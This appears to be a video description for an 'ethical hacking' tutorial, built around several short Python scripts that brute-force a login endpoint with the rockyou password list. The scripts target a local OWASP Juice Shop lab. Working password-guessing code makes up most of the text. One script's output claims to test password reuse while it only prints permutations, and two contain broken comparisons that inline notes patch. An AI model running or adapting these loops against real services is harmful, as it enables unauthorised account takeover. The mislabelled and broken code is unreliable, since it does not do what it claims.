This 10-line script demonstrates how weak login systems can be abused to expose millions of accounts — but only in a controlled lab environment. In this video, I break down how simple automation, poor security practices, and missing protections like rate limiting can lead to serious vulnerabilities. You’ll see how attackers think — and more importantly, how developers and security professionals can prevent these attacks. ⚠️ This video is strictly for educational and ethical hacking purposes only. All demonstrations are performed on intentionally vulnerable or self-owned systems. 🔍 What You’ll Learn: How login systems work behind the scenes Why weak passwords are still a major risk The role of rate limiting & security controls How simple scripts can test authentication systems How to secure your own applications ========================================================= import itertools, time user_input = input("Enter username: ") chars = list(user_input) # Generate all unique 6-character permutations combos = list(itertools.permutations(chars, 6)) start, count = time.time(), 0 for c in combos: pwd = "".join(c) print(f"Testing: {pwd}") count += 1 print(f"\nTested {count} combinations for password reuse in {round(time.time()-start, 2)}s.") ========================================================= import requests url = "http://localhost:3000/rest/user/login" with open("/path/to/rockyou.txt", "r", errors="ignore") as f: for line in f: pwd = line.strip() payload = {"email": "[email protected]", "password": pwd} r = requests.post(url, json=payload) if r.status_code == 200: print(f"Success: {pwd}") break ========================================================= import requests, time url, start, count = "http://localhost:3000/rest/user/login", time.time(), 0 with open("/path/to/rockyou.txt", "r", errors="ignore") as f: for line in f: if time.time() - start more that 60: break # Exit after 60 seconds pwd = line.strip() r = requests.post(url, json={"email": "[email protected]", "password": pwd}) count += 1 if r.status_code == 200: print(f"Success! Password: {pwd}"); break print(f"Demo complete. Checked {count} passwords in 60s.") NOTE: use the angular bracket instead of more than in line 5th. ========================================================= import requests, time url, start, count = "http://localhost:3000/rest/user/login", time.time(), 0 with open("/path/to/rockyou.txt", "r", errors="ignore") as f: for line in f: if time.time() - start more than 60: break pwd = line.strip() print(f"[{count}] Testing: {pwd}") # This shows the capture live r = requests.post(url, json={"email": "[email protected]", "password": pwd}) count += 1 if r.status_code == 200: print(f"\n[!] SUCCESS: {pwd}"); break print(f"\nDemo finished. Total attempts: {count}") NOTE: use the angular bracket instead of more than in line 5th. ========================================================= Discord → https://discord.gg/rbCmYGg2rd Twitter (X) → https://x.com/MrHackerCharlie Website → https://mrhackercharlie.unaux.com More content coming soon… 🚀 Tools / Concepts Covered: Python scripting, authentication testing, login systems, security misconfigurations, ethical hacking labs ⚠️ Disclaimer: This content is created for educational purposes only. Do not attempt to attack real systems without proper authorization. 🔥 Hashtags (SEO Boost) #ethicalhacking #cybersecurity #hacking #python #programming #infosec #security #hacker #pentesting #bugbounty #linux #kalilinux #hackingtools #cyberattack #databreach #passwordsecurity #bruteforce #automation #scripting #pythonhacking #networksecurity #websecurity #appsec #informationsecurity #cyberawareness #onlinesecurity #tech #coding #developer #devsecops #securitytesting #penetrationtesting #redteam #blueteam #osint #securityresearch #vulnerability #bugbountyhunter #exploit #hackers #cybercrime #ethicalhacker #learnhacking #securitytools #webhacking #networking #itsecurity #cyberdefense #datasecurity #privacy #internetsecurity #infosecurity #securityengineer #cybertraining #securityawareness #securecoding #owasp #juice_shop #authentication #loginsecurity #passwordcracking #cyberlab #hackinglab #securitylab #techvideos #programmer #pythoncode #automationtools #terminal #linuxcommands #cyberworld #securitytips #hackproof #digitalsecurity #securityeducation #cyberknowledge #ethicalhackers #hackerlife #codinglife #techskills #learncoding #techlearning #securityfirst #cyberfuture #itcareer #bughunting #zeroday #securityflaws #dataprotection #webappsecurity #infoseclearning #cyberlearning #hackingtutorial #securitytutorial #cyberexpert #techcommunity #securitycommunity #ethicalhackingtools #pythonsecurity #script #codingtips #hackingvideos
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